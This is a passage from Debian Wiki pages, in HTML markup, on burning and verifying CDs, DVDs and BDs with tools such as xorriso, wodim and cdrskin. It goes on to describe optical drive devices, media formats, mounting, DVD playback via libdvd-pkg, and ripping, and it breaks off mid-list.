&lt;p&gt;For comparing MD5 sums one must restrict reading from the CD, DVD, or BD to exactly the same number of data blocks that was written by the burn program.  For this, inquire the size of the ISO image file.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;blocks=$(expr $(ls -l my.iso | awk &amp;#x27;{print $5}&amp;#x27;) &amp;#x2F; 2048)
dd if=&amp;#x2F;dev&amp;#x2F;sr0 bs=2048 count=$blocks | md5sum
md5sum my.iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This should yield identical MD5 checksum strings. E.g.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;8213+0 records in
8213+0 records out
16820224 bytes (17 MB) copied, 12.189631 s, 1.4 MB&amp;#x2F;s
492bd13e477b3efb507149152a4e7736  -
492bd13e477b3efb507149152a4e7736  my.iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;One may also mount the medium and compare data files with their originals on hard disk by doing:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo mount &amp;#x2F;dev&amp;#x2F;sr0 &amp;#x2F;mnt&amp;#x2F;cdrom
diff &amp;#x2F;mnt&amp;#x2F;cdrom&amp;#x2F;my&amp;#x2F;file &amp;#x2F;path&amp;#x2F;of&amp;#x2F;directory
sudo umount &amp;#x2F;dev&amp;#x2F;cdrom
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It might be that you first have to create directory &#x2F;mnt&#x2F;cdrom before you can mount it. If you eject the medium and insert it again, it may well be mounted automatically underneath &#x2F;media&#x2F;. In this case, you do not have to run the sudo commands.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;audio-cd&quot;&gt;Audio CD&lt;&#x2F;h4&gt;
&lt;p&gt;Music CD players expect the CD-DA format, which is not a filesystem, but a simple list of file-like entities called Tracks. Each track is normally one piece of music. E.g. a complete song.&lt;&#x2F;p&gt;
&lt;p&gt;The content of the tracks has to be presented as data files with uncompressed samples of 44100 Hz sampling rate, 16 bits per sample, 2 channels, little-endian byte order, WAV header. This is also known as .wav file.&lt;&#x2F;p&gt;
&lt;p&gt;After &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;PackageManagement&quot;&gt;installing&lt;&#x2F;a&gt; the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;cdrskin&quot;&gt;cdrskin&lt;&#x2F;a&gt; or &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;wodim&quot;&gt;wodim&lt;&#x2F;a&gt; package:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cdrskin -v dev=&amp;#x2F;dev&amp;#x2F;sr0 -sao -audio track1.wav track2.wav ... trackN.wav
wodim -v dev=&amp;#x2F;dev&amp;#x2F;sr0 -sao -audio track1.wav track2.wav ... trackN.wav
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The resulting media cannot be read by dd or other data readers. Reading audio tracks from CD may be done by cdrskin with the extract_audio_to= option, or readom from the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;wodim&quot;&gt;wodim&lt;&#x2F;a&gt; package.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;cdrskin.1&quot;&gt;cdrskin&lt;&#x2F;a&gt; manual page&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;readom.1&quot;&gt;readom&lt;&#x2F;a&gt; manual page&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;drive-addressing&quot;&gt;Drive Addressing&lt;&#x2F;h4&gt;
&lt;p&gt;Above examples use the device file address of your first optical drive, &#x2F;dev&#x2F;sr0. To get a list of all your optical drive devices do one of:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cdrskin --devices
xorriso -devices
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;which will report something like&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;0  -dev &amp;#x27;&amp;#x2F;dev&amp;#x2F;sr0&amp;#x27; rwrw-- :  &amp;#x27;HL-DT-ST&amp;#x27; &amp;#x27;BDDVDRW GGC-H20L&amp;#x27;
1  -dev &amp;#x27;&amp;#x2F;dev&amp;#x2F;sr1&amp;#x27; rwrw-- :  &amp;#x27;HL-DT-ST&amp;#x27; &amp;#x27;DVDRAM GH24NSC0&amp;#x27;
2  -dev &amp;#x27;&amp;#x2F;dev&amp;#x2F;sr2&amp;#x27; rwrw-- :  &amp;#x27;Optiarc &amp;#x27; &amp;#x27;BD RW BD-5300S&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;wodim will perform this run only if the obsoleted device files &#x2F;dev&#x2F;scd* exist.&lt;&#x2F;p&gt;
&lt;p&gt;The sequence of drive numbers may change with each reboot. If you need persistent device names, consider to use the lengthy ones in directory &#x2F;dev&#x2F;disk&#x2F;by-id&#x2F;. You will recognise them by bearing the same manufacturer and model names as in above --devices runs. E.g.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;dev&amp;#x2F;disk&amp;#x2F;by-id&amp;#x2F;usb-Optiarc_BD_RW_BD-5300S_306663601043-0:0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;iso-9660-burning-on-the-fly&quot;&gt;ISO 9660 Burning On The Fly&lt;&#x2F;h4&gt;
&lt;p&gt;One may avoid the need to store an ISO 9660 filesystem image file by piping the output of the ISO producer into the standard input of the burn program. Just omit option -o with the producer and use &quot;-&quot; as data file name with the burn program. Use option -tao instead of -dao or -sao, because the latter need to know the data amount in advance:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;genisoimage -v -J -r -V MY_DISK_LABEL &amp;#x2F;path&amp;#x2F;of&amp;#x2F;directory \
| wodim -v dev=&amp;#x2F;dev&amp;#x2F;sr0 -tao -
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;With growisofs:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;genisoimage ... \
| growisofs -Z &amp;#x2F;dev&amp;#x2F;sr0=&amp;#x2F;dev&amp;#x2F;fd&amp;#x2F;0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Program xorriso with its native command set performs this under control of a single process&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;xorriso \
  -md5 on \
  -outdev &amp;#x2F;dev&amp;#x2F;sr0 \
  -blank as_needed \
  -joliet on \
  -volid MY_DISK_LABEL \
  -map &amp;#x2F;home&amp;#x2F;user&amp;#x2F;the_directory &amp;#x2F; \
  -find &amp;#x2F; -exec mkisofs_r --
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;iso-9660-multi-session&quot;&gt;ISO 9660 Multi-Session&lt;&#x2F;h4&gt;
&lt;p&gt;Although ISO 9660 filesystems are read-only, it is possible to append new data files and a new directory tree which can refer to old files and new files alike.&lt;&#x2F;p&gt;
&lt;p&gt;Initial session (if necessary overwriting a re-usable medium like BD-RE from scratch):&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;xorriso \
  -for_backup \
  -outdev &amp;#x2F;dev&amp;#x2F;sr0 \
  -blank as_needed \
  -volid MY_BACKUP_&amp;quot;$(date &amp;#x27;+%Y_%m_%d_%H%M%S&amp;#x27;)&amp;quot; \
  -update_r &amp;#x2F;home&amp;#x2F;user&amp;#x2F;documents &amp;#x2F;documents
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Further update sessions will add new files, overwrite changed files, and remove deleted files:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;xorriso \
  -for_backup \
  -assert_volid &amp;#x27;MY_BACKUP_*&amp;#x27; fatal \
  -dev &amp;#x2F;dev&amp;#x2F;sr0 \
  -volid MY_BACKUP_&amp;quot;$(date &amp;#x27;+%Y_%m_%d_%H%M%S&amp;#x27;)&amp;quot; \
  -update_r &amp;#x2F;home&amp;#x2F;user&amp;#x2F;documents &amp;#x2F;documents
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;At some update attempt, the program will go on strike because the medium is full. Then you need to write an initial session onto another blank or re-usable medium.&lt;&#x2F;p&gt;
&lt;p&gt;Verification of the most recent session data:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;xorriso -for_backup -indev &amp;#x2F;dev&amp;#x2F;sr0 -check_md5 FAILURE --
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Verification of all recorded sessions&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;xorriso -for_backup -indev &amp;#x2F;dev&amp;#x2F;sr0 -check_media --
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In case of mismatch, the exit value will be non-zero&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;if test $? = 0 ; then echo &amp;quot;OK&amp;quot; ; else echo &amp;quot;MISMATCH !&amp;quot; ; fi
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;legacy&quot;&gt;Legacy&lt;&#x2F;h4&gt;
&lt;p&gt;Before Linux 2.4, using the ide-scsi driver for burners could improve performance (&quot;hdc=ide-scsi&quot; in lilo&#x2F;GRUB bootloader options). The detection of the burner as a SCSI device could be verified with cdrecord -scanbus. On Linux 2.6 ,ide-cd replaced ide-scsi for CD burners.&lt;&#x2F;p&gt;
&lt;p&gt;On some systems you might need to add your user account to the cdrom group (or have some kind of write access to the burner device file in &#x2F;dev&#x2F;)&lt;&#x2F;p&gt;
&lt;h4 id=&quot;see-also&quot;&gt;See also:&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;CDDVD&quot;&gt;CDDVD&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;CDDVDTools&quot;&gt;CDDVDTools&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;1&#x2F;genisoimage&quot;&gt;man genisoimage&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;1&#x2F;xorrisofs&quot;&gt;man xorrisofs&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;1&#x2F;wodim&quot;&gt;man wodim&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;1&#x2F;cdrskin&quot;&gt;man cdrskin&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;1&#x2F;xorrecord&quot;&gt;man xorrecord&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;1&#x2F;growisofs&quot;&gt;man growisofs&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;1&#x2F;xorriso&quot;&gt;man xorriso&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;cddvd-debian-wiki&quot;&gt;CDDVD - Debian Wiki&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Debian Homepage&quot; href=&quot;https:&#x2F;&#x2F;www.debian.org&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.debian.org&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;DebianWiki&#x2F;EditorGuide#translation&quot;&gt;Translation(s)&lt;&#x2F;a&gt;: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;CDDVD&quot;&gt;English&lt;&#x2F;a&gt; - &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;fr&#x2F;CDDVD&quot;&gt;Français&lt;&#x2F;a&gt; - &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;it&#x2F;CDDVD&quot;&gt;Italiano&lt;&#x2F;a&gt; - &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;pt_BR&#x2F;CDDVD&quot;&gt;Português (Brasil)&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;目录&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;CDDVD#Devices&quot;&gt;Devices&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;CDDVD#Optical_Media_Formats&quot;&gt;Optical Media Formats&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;CDDVD#Detecting_and_Mounting&quot;&gt;Detecting and Mounting&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;CDDVD#Watching_Video_DVDs&quot;&gt;Watching Video DVDs&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;CDDVD#Ripping&quot;&gt;Ripping&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;CDDVD#FAQ&quot;&gt;FAQ&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;CDDVD#See_also&quot;&gt;See also&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;CDDVD#External_links&quot;&gt;External links&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;devices&quot;&gt;Devices&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;WikiPedia&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Compact_disc&quot;&gt;CDs&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;WikiPedia&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;DVD&quot;&gt;DVDs&lt;&#x2F;a&gt;, and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;WikiPedia&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Blu-ray_Disc&quot;&gt;BDs&lt;&#x2F;a&gt; are common types of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;WikiPedia&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Removable_media&quot;&gt;removable media&lt;&#x2F;a&gt;. Unlike other types of removable media (such as &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;WikiPedia&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;USB_flash_drive&quot;&gt;flash drives&lt;&#x2F;a&gt; or &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;WikiPedia&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Hard_disk_drive#EXTERNAL&quot;&gt;external hard drives&lt;&#x2F;a&gt;), they are normally used read-only and many of them require special &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;BurnCd&quot;&gt;burn programs&lt;&#x2F;a&gt;. I.e. they are not mounted for writing like &quot;normal&quot; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;FileSystem&quot;&gt;filesystems&lt;&#x2F;a&gt;. CD, DVD, and BD are &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;WikiPedia&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Optical_disc&quot;&gt;optical discs&lt;&#x2F;a&gt;, so we can use that term to refer to them collectively.&lt;&#x2F;p&gt;
&lt;p&gt;Your PC will offer device files to access your optical disc(s). Such devices are typically called &lt;em&gt;drives&lt;&#x2F;em&gt;, &lt;em&gt;players&lt;&#x2F;em&gt;, or &lt;em&gt;readers&lt;&#x2F;em&gt;, and are generally detected as &#x2F;dev&#x2F;sr*, where * is a number starting at 0. (Thus your first drive will be &#x2F;dev&#x2F;sr0, second &#x2F;dev&#x2F;sr1, etc.) &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;SymLink&quot;&gt;Symlinks&lt;&#x2F;a&gt; such as &#x2F;dev&#x2F;cdrom, &#x2F;dev&#x2F;cdrw, &#x2F;dev&#x2F;dvd, or &#x2F;dev&#x2F;dvdrw (pointing to &#x2F;dev&#x2F;sr0) may also be created depending on your OS version and the detected capabilities of your device.&lt;&#x2F;p&gt;
&lt;p&gt;The sequence of device file numbers may change with each reboot. The directory &#x2F;dev&#x2F;disk&#x2F;by-id contains symbolic links with names which show persistent name parts. Like:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;dev&amp;#x2F;disk&amp;#x2F;by-id&amp;#x2F;ata-HL-DT-ST_DVDRAM_GH24NSC0_K8AF33A3528
&amp;#x2F;dev&amp;#x2F;disk&amp;#x2F;by-id&amp;#x2F;usb-Optiarc_BD_RW_BD-5300S_306663601043-0:0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The name parts &quot;HL-DT-ST_DVDRAM_GH24NSC0_K8AF33A3528&quot; and &quot;Optiarc_BD_RW_BD-5300S_306663601043&quot; are supposed to persist even if you change the way the drives are attached to your computer.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;optical-media-formats&quot;&gt;Optical Media Formats&lt;&#x2F;h3&gt;
&lt;p&gt;You will normally encounter two types of readable optical media and one type that is writable:&lt;&#x2F;p&gt;
&lt;h4 id=&quot;cd-da&quot;&gt;CD-DA&lt;&#x2F;h4&gt;
&lt;p&gt;CD-DA contains audio tracks in a low level format that can only be read by music CD players or by specialized software like &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;icedax&quot;&gt;icedax&lt;&#x2F;a&gt; or readom from &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;wodim&quot;&gt;wodim&lt;&#x2F;a&gt;. Writing is done by burn programs in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;BurnCd#Audio_CD&quot;&gt;audio mode&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;cd-rom&quot;&gt;CD-ROM&lt;&#x2F;h4&gt;
&lt;p&gt;CD-ROM contains data which are readble by normal means as from normal data files or block devices. This format is only one of several CD sector formats. DVD and BD media always appear as CD-ROM. Their video or audio content is wrapped in read-only filesystems. Writing is done by burn programs in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;BurnCd#Burn_the_image_file_to_CD.2C_DVD.2C_or_BD&quot;&gt;data mode&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;read-write-media&quot;&gt;Read-Write Media&lt;&#x2F;h4&gt;
&lt;p&gt;DVD+RW, DVD-RAM, and BD-RE media may also be written as normal block devices. Formatted CD-RW and formatted DVD-RW may be used that way by help of device files &#x2F;dev&#x2F;pktcdvd* and program pktsetup out of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;udftools&quot;&gt;udftools&lt;&#x2F;a&gt;. Their performance with random access writing is quite poor, though. For larger amounts of data, you are better off with burn programs, which are needed for CD-R, DVD-R, DVD+R, and BD-R, anyway.&lt;&#x2F;p&gt;
&lt;p&gt;Read-write media may be used like CD-ROM media as long as only reading is desired.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;detecting-and-mounting&quot;&gt;Detecting and Mounting&lt;&#x2F;h3&gt;
&lt;p&gt;To detect the device files of your CD&#x2F;DVD&#x2F;BD drives, use one of these commands&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cdrskin --devices
xorriso -devices
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;from the Debian packages with the same names.&lt;&#x2F;p&gt;
&lt;p&gt;To check which special file &#x2F;dev&#x2F;cdrom is a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;SymLink&quot;&gt;symlink&lt;&#x2F;a&gt; to (i.e. &#x2F;dev&#x2F;sr0, &#x2F;dev&#x2F;hdc or &#x2F;dev&#x2F;scd0), type:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ls -al &amp;#x2F;dev&amp;#x2F;cdrom*
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Mounting is often done automatically to a directory underneath &#x2F;media&#x2F; when a readable medium gets inserted into a drive. You should wait with accessing it, until the drive LED stops blinking.&lt;&#x2F;p&gt;
&lt;p&gt;If no automounting is enabled, then you may mount a data CD, DVD, or BD by&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo mount &amp;#x2F;dev&amp;#x2F;sr0 &amp;#x2F;mnt&amp;#x2F;iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Possibly you have to create directories &#x2F;mnt and&#x2F;or &#x2F;mnt&#x2F;iso before you see success with this command.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;watching-video-dvds&quot;&gt;Watching Video DVDs&lt;&#x2F;h3&gt;
&lt;p&gt;For unprotected DVDs, watching them is often as simple as installing &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;VLC&quot;&gt;VLC&lt;&#x2F;a&gt; which has the function built-in and depends on the necessary libraries to watch and interact with DVDs. The same goes for others such as &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;MPlayer&quot;&gt;MPlayer&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;mpv&quot;&gt;mpv&lt;&#x2F;a&gt;, and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;kaffeine&quot;&gt;kaffeine&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;However, many DVDs use the CSS (Content Scrambling System) as a form of DRM to encrypt the content of Video DVDs. To play such discs, a special library is required to decode them, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;WikiPedia&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;libdvdcss&quot;&gt;libdvdcss&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Due to the legal limbo of libdvdcss in some particular jurisdictions, some distributions including Debian do not distribute libdvdcss directly.&lt;&#x2F;p&gt;
&lt;p&gt;On &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;DebianStretch&quot;&gt;Debian 9&#x2F;Stretch&lt;&#x2F;a&gt; and newer versions, you can install the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;libdvd-pkg&quot;&gt;libdvd-pkg&lt;&#x2F;a&gt; package which automates the process of downloading and setting up the necessary library. This only requires you to have the &quot;contrib&quot; component enabled in your &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;SourcesList&quot;&gt;SourcesList&lt;&#x2F;a&gt; file.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;setting-the-region&quot;&gt;Setting the region&lt;&#x2F;h4&gt;
&lt;p&gt;Some DVD players require the region to be set before they are able to play encrypted DVDs. This has to be done manually with &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;regionset&quot;&gt;regionset&lt;&#x2F;a&gt;. The man-pages provide help in choosing the proper country-code.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ripping&quot;&gt;Ripping&lt;&#x2F;h3&gt;
&lt;p&gt;To almost quote &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;WikiPedia&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Ripping&quot;&gt;Wikipedia&lt;&#x2F;a&gt;, &lt;em&gt;ripping&lt;&#x2F;em&gt; is the process of copying input audio or video content (typically from an optical disc) and outputting to a &quot;normal&quot; storage &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;FileSystem&quot;&gt;filesystems&lt;&#x2F;a&gt;. Ripping is typically more difficult than simple file copying (as when copying files from a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;WikiPedia&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;USB_flash_drive&quot;&gt;flash drive&lt;&#x2F;a&gt; or &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;WikiPedia&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Hard_disk_drive#EXTERNAL&quot;&gt;external hard drive&lt;&#x2F;a&gt;) in that&lt;&#x2F;p&gt;
&lt;ul&gt;
